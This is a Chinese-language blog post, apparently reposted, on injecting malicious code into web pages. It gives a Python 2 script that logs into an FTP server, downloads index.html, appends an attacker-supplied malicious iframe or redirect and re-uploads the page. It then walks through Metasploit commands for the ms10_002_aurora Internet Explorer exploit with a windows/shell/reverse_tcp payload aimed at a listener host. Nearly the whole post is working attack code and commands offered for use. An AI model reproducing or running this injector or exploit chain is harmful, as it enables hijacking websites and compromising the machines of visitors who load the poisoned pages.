您的位置:首页 > 编程语言

在网页中加入恶意注入代码

2018-01-09 10:04 471 查看
#!/usr/bin/python
#coding=utf-8
import ftplib

def injectPage(ftp,page,redirect):
f = open(page + '.tmp','w')

'''
#ftplib.FTP.retrlines(command[, callback])
#使用文本传输模式返回在服务器上执行命令的结果。
#command是指定命令的字符串,通常类似于'RETR filename’.callback是回调函数, 每收到一行数据时都将调用该函数。该回调函数带有一个参数,是包含已收到数据的字符串。如果忽略callback, 则返回的数据将打印到sys.stdout中。
'''
ftp.retrlines('RETR ' + page, f.write)  #下载FTP文件
print '[+] Downloaded Page: ' + page
f.write(redirect)  #写入文件
f.close()
print '[+] Injected Malicious IFrame on: ' + page

'''
#ftplib.FTP.storlines(command, file)
#在服务器上执行一个命令并使用文本传输模式传输数据。
#command是指定低级命令的字符串。它通常是'STOR filename’。file是一个打开的文件对象,将使用file。readline()读取其数据并将该数据发送到服务器。
'''
ftp.storlines('STOR ' + page, open(page + '.tmp'))  #上传目标文件
print '[+] Uploaded Injected Page: ' + page
print
def main():
while True:
host = raw_input('[*]Host >>> ')
username = raw_input('[*]Username >>> ')
password = raw_input('[*]Password >>> ')
redirect = raw_input('[*]Redirect >>> ')
print
try:
ftp = ftplib.FTP(host)
ftp.login(username,password)
injectPage(ftp,'index.html',redirect)
except:
print '[-] Logon failed.'

if __name__ == '__main__':
main()


这里主要提及利用之前的极光漏洞,先在Kali中打开Metasploit框架窗口,然后输入命令:

search ms10_002_aurora

use exploit/windows/browser/ms10_002_aurora

show payloads

set payload windows/shell/reverse_tcp

show options

set SRVHOST 10.10.10.160

set URIPATH /exploit

set LHOST 10.10.10.160

set LPORT 443

exploit

运行之后,分别在win 2k3 server和XP上访问http://10.10.10.160:8080/exploit 站点,虽然得到了连接信息但是没有得到shell,可能是因为IE浏览器的版本不存在极光漏洞吧.
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: